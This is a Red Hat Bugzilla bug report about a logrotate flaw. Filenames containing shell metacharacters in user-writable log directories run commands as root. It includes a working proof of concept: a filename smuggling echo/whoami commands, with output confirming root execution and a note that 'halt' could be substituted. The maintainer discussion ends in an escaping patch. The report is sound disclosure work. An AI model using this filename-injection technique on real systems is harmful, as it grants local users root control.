Bug 79315 - Root exploits possible when rotating logs in user-writable directories
Root exploits possible when rotating logs in user-writable directories
Product: Red Hat Linux
Classification: Retired
Component: logrotate (Show other bugs)
i386 Linux
medium Severity medium
: ---
: ---
Assigned To: Elliot Lee
Jay Turner
: Security
Depends On:
  Show dependency treegraph
Reported: 2002-12-09 20:09 EST by Jordan Russell
Modified: 2015-01-07 19:02 EST (History)
2 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2003-01-14 13:12:24 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)
Fix (4.75 KB, patch)
2002-12-10 18:26 EST, Jordan Russell
no flags Details | Diff

  None (edit)
Description Jordan Russell 2002-12-09 20:09:17 EST
Description of problem:
If you're rotating logs in directories that are writable by users other than 
root, those users can run commands as root quite easily.

Version-Release number of selected component (if applicable):

How reproducible:

Steps to Reproduce:
1. First, create a user called "testuser":

# useradd testuser

2. Create a file called "/etc/logrotate.d/test" with the contents:

/home/testuser/*.log {

3. Then:

# su - testuser
$ echo something > "';echo -n 'This command is running as ';whoami;'.log"
$ exit
# /usr/sbin/logrotate -f /etc/logrotate.conf

Actual Results:  
gzip: /home/testuser/ is a directory -- ignored
This command is running as root
sh: line 1: .log.1: command not found
failed to compress log /home/testuser/';echo -n 'This command is running 
as ';whoami;'.log.1

As can be seen, it executed the 'echo' and 'whoami' commands we embedded into 
the log filename. ("This command is running as root")

Other mischievous things are obviously possible, such as halting the system (by 
embedding a "halt" command instead).

Expected Results:  It shouldn't have executed those commands.

Additional info:

It appears an attempt to fix this was before (see #21348) but clearly the fix 
was not complete...
Comment 1 Elliot Lee 2002-12-10 10:48:46 EST
Solution is to not point logrotate at directories writeable by untrusted users. Supporting that 
is just way beyond the design goals.

21348 was intended to fix common-but-odd filenames, not security issues.
Comment 2 Jordan Russell 2002-12-10 13:56:57 EST
Why must it be that way? I don't think it's asking too much to "fix" this. 
logrotate just needs to escape ' characters properly.

Instead of simply placing ' ' characters around the filename as it does now:

gzip -9 '';echo -n 'This command is running as ';whoami;'.log'

it should also escape any ' characters inside the filename:

gzip -9 ''\'';echo -n '\''This command is running as '\'';whoami;'\''.log'

If I were to create a patch that does this, would you include it...?

BTW, I think this problem *may* also be exploitable on directories writable 
only by root, e.g. in the case of Samba where it creates log filenames based on 
the machine name provided by the client.
Comment 3 Elliot Lee 2002-12-10 14:15:55 EST
Sure, the bug is real and you're probably right about the samba thing, so patches 
Comment 4 Jordan Russell 2002-12-10 18:26:00 EST
Created attachment 88309 [details]
Comment 5 Jordan Russell 2002-12-10 18:29:49 EST
In the attached patch, I identified and fixed 5 places where filenames were 
passed to system() without proper escaping:

- 1 when calling scripts
- 2 when compressing
- 2 when mailing

I tested each case, and I'm pretty sure it all works...
Comment 6 Elliot Lee 2003-01-14 13:12:24 EST

Note You need to log in before you can comment on or make changes to this bug.